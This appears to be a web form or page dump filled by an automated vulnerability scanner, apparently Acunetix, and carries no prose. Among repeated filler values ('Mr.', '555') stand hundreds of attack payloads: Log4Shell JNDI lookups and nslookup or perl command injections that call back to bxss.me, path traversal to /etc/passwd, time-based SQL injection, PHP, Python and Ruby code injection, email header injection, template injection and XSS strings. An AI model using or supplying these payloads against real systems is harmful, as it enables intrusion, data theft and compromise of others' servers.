Mr.

555

Mr.

555

Mr.

555

Mr.

${j${::-n}di:dns${::-:}${::-/}/hitmsjvqjypvf4123d${::-.}bxss.me}zzzz

Mr.

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitqcbmlmwojhffddc${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Mr.

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.009247.80-6604.80.c4990${::-.}1${::-.}bxss.me}}

${j${::-n}di:dns${::-:}${::-/}/hitluwwqxpgtvf28d5${::-.}bxss.me}zzzz

555

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitpmhsnipfrh29448${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

555

Mr.

/../../../../../../../../../../windows/system32/BITSADMIN.exe

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.009247.80-6608.80.c4990${::-.}1${::-.}bxss.me}}

555

Mr.

response.write(9976912*9101301)

Mr.

jbcDXFc6

Mr.

'+response.write(9976912*9101301)+'

sxixjSxC

555

Mr.

"+response.write(9976912*9101301)+"

response.write(9243381*9260512)

555

Mr.

555

Mr.

555 bcc:009247.80-6611.80.c4990.19073.2@bxss.me

'+response.write(9243381*9260512)+'

555

Mr.

to@example.com> bcc:009247.80-6612.80.c4990.19073.2@bxss.me

"+response.write(9243381*9260512)+"

555

Mr. bcc:009247.80-6613.80.c4990.19073.2@bxss.me

555

to@example.com> bcc:009247.80-6614.80.c4990.19073.2@bxss.me

555

Mr.

../../../../../../../../../../../../../../etc/passwd

Mr.

../../../../../../../../../../../../../../windows/win.ini

Mr.

555

Mr.

../555

Mr.

echo flpwfc$()\ ktllwp\nz^xyu||a #' &echo flpwfc$()\ ktllwp\nz^xyu||a #|" &echo flpwfc$()\ ktllwp\nz^xyu||a #

../../../../../../../../../../../../../../etc/passwd

555

Mr.

&echo jmgqxo$()\ zvtmyf\nz^xyu||a #' &echo jmgqxo$()\ zvtmyf\nz^xyu||a #|" &echo jmgqxo$()\ zvtmyf\nz^xyu||a #

../../../../../../../../../../../../../../windows/win.ini

555

Mr.

|echo yluhxm$()\ gvxqvi\nz^xyu||a #' |echo yluhxm$()\ gvxqvi\nz^xyu||a #|" |echo yluhxm$()\ gvxqvi\nz^xyu||a #

Mr.

555

Mr.

555

Mr.

Mr.

(nslookup hitadxzomychg6b04c.bxss.me||perl -e "gethostbyname('hitadxzomychg6b04c.bxss.me')")

../Mr.

555

Mr.

12345'"\'\");|]*{ <>�''💡

Mr.

$(nslookup hitsvsvdgsmql067b8.bxss.me||perl -e "gethostbyname('hitsvsvdgsmql067b8.bxss.me')")

Mr.

555

Mr.

&(nslookup hitzjsyfpetqm8684a.bxss.me||perl -e "gethostbyname('hitzjsyfpetqm8684a.bxss.me')")&'\"`0&(nslookup hitzjsyfpetqm8684a.bxss.me||perl -e "gethostbyname('hitzjsyfpetqm8684a.bxss.me')")&`'

Mr.

${9999980+9999004}

555

${9999881+9999919}

555

12345'"\'\");|]*{ <>�''💡

555

Mr.

|(nslookup hitbrngsabogf909a7.bxss.me||perl -e "gethostbyname('hitbrngsabogf909a7.bxss.me')")

Mr.

555

Mr.

`(nslookup hitiukzsttxjpe6838.bxss.me||perl -e "gethostbyname('hitiukzsttxjpe6838.bxss.me')")`

Mr.

555&n956018=v933808

Mr.

555

Mr.

;(nslookup hitzybimzyfiqcfe09.bxss.me||perl -e "gethostbyname('hitzybimzyfiqcfe09.bxss.me')")|(nslookup hitzybimzyfiqcfe09.bxss.me||perl -e "gethostbyname('hitzybimzyfiqcfe09.bxss.me')")&(nslookup hitzybimzyfiqcfe09.bxss.me||perl -e "gethostbyname('hitzybimzyfiqcfe09.bxss.me')")

Mr.&n989733=v918549

555

Mr.

555

Mr.

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

echo ygulvu$()\ vacemq\nz^xyu||a #' &echo ygulvu$()\ vacemq\nz^xyu||a #|" &echo ygulvu$()\ vacemq\nz^xyu||a #

555

&echo cyzdbz$()\ ieioow\nz^xyu||a #' &echo cyzdbz$()\ ieioow\nz^xyu||a #|" &echo cyzdbz$()\ ieioow\nz^xyu||a #

555

Mr.

dqkAMZ4D

Mr.

)

Mr.

1some_inexistent_file_with_long_name.jpg

Mr.

-1 OR 2+831-831-1=0+0+0+1 --

|echo qtdvds$()\ ttpugw\nz^xyu||a #' |echo qtdvds$()\ ttpugw\nz^xyu||a #|" |echo qtdvds$()\ ttpugw\nz^xyu||a #

555

Mr.

Http://bxss.me/t/fit.txt

Mr.

-1 OR 2+519-519-1=0+0+0+1

(nslookup hitileiyzokqf15508.bxss.me||perl -e "gethostbyname('hitileiyzokqf15508.bxss.me')")

555

Mr.

!(()&&!|*|*|

Mr.

-1' OR 2+413-413-1=0+0+0+1 --

$(nslookup hitvlcbhbawbaaa761.bxss.me||perl -e "gethostbyname('hitvlcbhbawbaaa761.bxss.me')")

555

Mr.

'"()

Mr.

http://bxss.me/t/fit.txt?.jpg

Mr.

-1' OR 2+432-432-1=0+0+0+1 or '6H08yDcn'='

&(nslookup hitbuqagrjjhg5aabf.bxss.me||perl -e "gethostbyname('hitbuqagrjjhg5aabf.bxss.me')")&'\"`0&(nslookup hitbuqagrjjhg5aabf.bxss.me||perl -e "gethostbyname('hitbuqagrjjhg5aabf.bxss.me')")&`'

555

Mr.

bxss.me

'"()

555

Mr.

-1" OR 2+990-990-1=0+0+0+1 --

|(nslookup hitzzaiefnyncc9a51.bxss.me||perl -e "gethostbyname('hitzzaiefnyncc9a51.bxss.me')")

555

Mr.

^(#$!@#$)(()))******

Mr.

if(now()=sysdate(),sleep(15),0)

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.

555

Mr.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1some_inexistent_file_with_long_name.

555

)

555

Http://bxss.me/t/fit.txt

555

`(nslookup hituyfgmhvmkab5a99.bxss.me||perl -e "gethostbyname('hituyfgmhvmkab5a99.bxss.me')")`

555

!(()&&!|*|*|

555

Mr.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

http://bxss.me/t/fit.txt?.

555

Mr.

'.gethostbyname(lc('hithl'.'npnhogikbc4e5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(89).chr(113).chr(75).'

bxss.me

555

Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

;(nslookup hituryafigmpib58e0.bxss.me||perl -e "gethostbyname('hituryafigmpib58e0.bxss.me')")|(nslookup hituryafigmpib58e0.bxss.me||perl -e "gethostbyname('hituryafigmpib58e0.bxss.me')")&(nslookup hituryafigmpib58e0.bxss.me||perl -e "gethostbyname('hituryafigmpib58e0.bxss.me')")

555

^(#$!@#$)(()))******

555

Mr.

".gethostbyname(lc("hitru"."hrxjzmws67a41.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(78).chr(113).chr(84)."

Mr.

-1; waitfor delay '0:0:15' --

'.gethostbyname(lc('hitbh'.'zivpjztvcd257.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(83).chr(120).chr(89).'

555

Mr.

-1); waitfor delay '0:0:15' --

Mr.

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitwmpobbjjil35a3e.'+'bxss.me')

Mr.

-1)); waitfor delay '0:0:15' --

Mr.

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitwmpobbjjil35a3e."+"bxss.me")+'

".gethostbyname(lc("hitwj"."hmzrhhgkb841e.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(85).chr(109).chr(75)."

555

Mr.

1 waitfor delay '0:0:15' --

Mr.

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitwmpobbjjil35a3e.'+'bxss.me')+"

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitknzytestsw82c6c.'+'bxss.me')

555

Mr.

ARteKxTF'; waitfor delay '0:0:15' --

Mr.

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitknzytestsw82c6c."+"bxss.me")+'

555

Mr.

E7t4hv1v'); waitfor delay '0:0:15' --

Mr.

"+"A".concat(70-3).concat(22*4).concat(109).concat(75).concat(112).concat(87)+(require"socket" Socket.gethostbyname("hiths"+"llhgvbikaa859.bxss.me.")[3].to_s)+"

Mr.

';print(md5(31337));$a='

Mr.

KThFJ3V7')); waitfor delay '0:0:15' --

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitknzytestsw82c6c.'+'bxss.me')+"

555

Mr.

";print(md5(31337));$a="

Mr.

'+'A'.concat(70-3).concat(22*4).concat(110).concat(66).concat(99).concat(83)+(require'socket' Socket.gethostbyname('hitos'+'vevzykfa07d16.bxss.me.')[3].to_s)+'

Mr.

-5 OR 237=(SELECT 237 FROM PG_SLEEP(15))--

Mr.

${@print(md5(31337))}

Mr.

-5) OR 909=(SELECT 909 FROM PG_SLEEP(15))--

Mr.

-1)) OR 733=(SELECT 733 FROM PG_SLEEP(15))--

Mr.

${@print(md5(31337))}\

Mr.

HttP://bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(117).concat(66).concat(105).concat(72)+(require"socket" Socket.gethostbyname("hitkq"+"ezuapjyp92c3d.bxss.me.")[3].to_s)+"

555

Mr.

addreview

Mr.

I44NiC1U' OR 226=(SELECT 226 FROM PG_SLEEP(15))--

Mr.

'.print(md5(31337)).'

'+'A'.concat(70-3).concat(22*4).concat(119).concat(69).concat(108).concat(68)+(require'socket' Socket.gethostbyname('hituc'+'qdetvcjld3475.bxss.me.')[3].to_s)+'

555

Mr.

addreview

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

Mr.

oyoqyz6W') OR 141=(SELECT 141 FROM PG_SLEEP(15))--

Mr.

addreview/.

Mr.

bxss.me/t/xss.html?%00

';print(md5(31337));$a='

555

addreview

555

Mr.

Le8oD4k1')) OR 708=(SELECT 708 FROM PG_SLEEP(15))--

Mr.

http://hitrfxemhncuq.bxss.me/

Mr.

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

";print(md5(31337));$a="

555

addreview

555

http://hitcxtyjafwzp.bxss.me/

555

HttP://bxss.me/t/xss.html?%00

555

${@print(md5(31337))}

555

Mr.

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

addreview/.

555

${@print(md5(31337))}\

555

bxss.me/t/xss.html?%00

555

Mr.

1'"

Mr.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

'.print(md5(31337)).'

555

Mr.

/xfs.bxss.me

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

Mr.

1����%2527%2522

/xfs.bxss.me

555

Mr.

'"

Mr.

@@5Ngu3

Mr.

555

Mr.

555

'"

555

Mr.

555

09afM63w

555

-1 OR 2+733-733-1=0+0+0+1 --

555

-1 OR 2+309-309-1=0+0+0+1

555

-1' OR 2+855-855-1=0+0+0+1 --

555

Mr.

555

-1' OR 2+95-95-1=0+0+0+1 or '3BodSELr'='

555

-1" OR 2+701-701-1=0+0+0+1 --

555

if(now()=sysdate(),sleep(15),0)

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

1 waitfor delay '0:0:15' --

555

C9RCgVpI'; waitfor delay '0:0:15' --

555

XiZYwWZb'); waitfor delay '0:0:15' --

555

FJP4TSC7')); waitfor delay '0:0:15' --

555

eGYmvBka' OR 894=(SELECT 894 FROM PG_SLEEP(15))--

555

keEmw5Tm') OR 176=(SELECT 176 FROM PG_SLEEP(15))--

555

35Y91CmH')) OR 684=(SELECT 684 FROM PG_SLEEP(15))--

555

Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

1'"

555

1����%2527%2522

555

@@flm0V

555

Mr.

5559844624

Mr.

acu1127＜s1﹥s2ʺs3ʹuca1127

Mr.

acux9679��z1��z2a�bcxuca9679

Mr.

<%={{={@{#{${acx}}%>

Mr.

555

Mr.

acx{{98991*97996}}xca

Mr.

acx{{98991*97996}}xca

Mr.

acx{98991*97996}xca

Mr.

acx${98991*97996}xca

Mr.

acx#{98991*97996}xca

Mr.

acx{#98991*97996}xca

Mr.

acx{@98991*97996}xca

Mr.

acx{{=98991*97996}}xca

Mr.

acx@(98991*97996)xca

Mr.

acx<%=98991*97996%>xca

Mr.

acx#set($x=98991*97996)${x}xca

Mr.

acx{{"abc"|title}}xca

Mr.

print("acx" . 98991*97996 . "xca");

Mr.

98991*97996*98991*97996

Mr.

acx{@math key=98991 method="multiply" operand=97996/}xca

Mr.

acx{{{this}}}xca

Mr.

#{98991*97996*98991*97996}

Mr.

acx#{xca}=123

Mr.

acx{{'abcd'.toUpperCase()}}xca

Mr.

AAABBBCCC{{define "bla"}}bla{{end}}{{define "acx"}}xyz{{end}}{{template "acx"}}CCCBBBAAA

Mr.

acx{{98991*97996}}xca

Mr.

acx[[${98991*97996}]]xca

Mr.

acx__${98991*97996}__::.x

Mr.

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

Mr.

%35%35%35%3C%53%63%52%69%50%74%20%3E%42%4F%4D%48%289680%29%3C%2F%73%43%72%69%70%54%3E

Mr.

555\u003CScRiPt\BOMH(9928)\u003C/sCripT\u003E

Mr.

555&lt;ScRiPt&gt;BOMH(9655)&lt;/sCripT&gt;

Mr.

555}body{acu:Expre/**/SSion(BOMH(9404))}

Mr.9802208

555

acu7975＜s1﹥s2ʺs3ʹuca7975

555

acux3810��z1��z2a�bcxuca3810

555

<%={{={@{#{${acx}}%>

555

Mr.

555

acx{{98991*97996}}xca

555

acx{{98991*97996}}xca

555

acx{98991*97996}xca

555

acx${98991*97996}xca

555

acx#{98991*97996}xca

555

acx{#98991*97996}xca

555

acx{@98991*97996}xca

555

acx{{=98991*97996}}xca

555

acx@(98991*97996)xca

555

acx<%=98991*97996%>xca

555

acx#set($x=98991*97996)${x}xca

555

acx{{"abc"|title}}xca

555

print("acx" . 98991*97996 . "xca");

555

98991*97996*98991*97996

555

acx{@math key=98991 method="multiply" operand=97996/}xca

555

acx{{{this}}}xca

555

#{98991*97996*98991*97996}

555

acx#{xca}=123

555

acx{{'abcd'.toUpperCase()}}xca

555

AAABBBCCC{{define "bla"}}bla{{end}}{{define "acx"}}xyz{{end}}{{template "acx"}}CCCBBBAAA

555

acx{{98991*97996}}xca

555

acx[[${98991*97996}]]xca

555

acx__${98991*97996}__::.x

555

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

%4D%72%2E%3C%53%63%52%69%50%74%20%3E%42%4F%4D%48%289708%29%3C%2F%73%43%72%69%70%54%3E

555

Mr.\u003CScRiPt\BOMH(9871)\u003C/sCripT\u003E

555

Mr.&lt;ScRiPt&gt;BOMH(9598)&lt;/sCripT&gt;

555

Mr.}body{acu:Expre/**/SSion(BOMH(9292))}

555

Mr.

555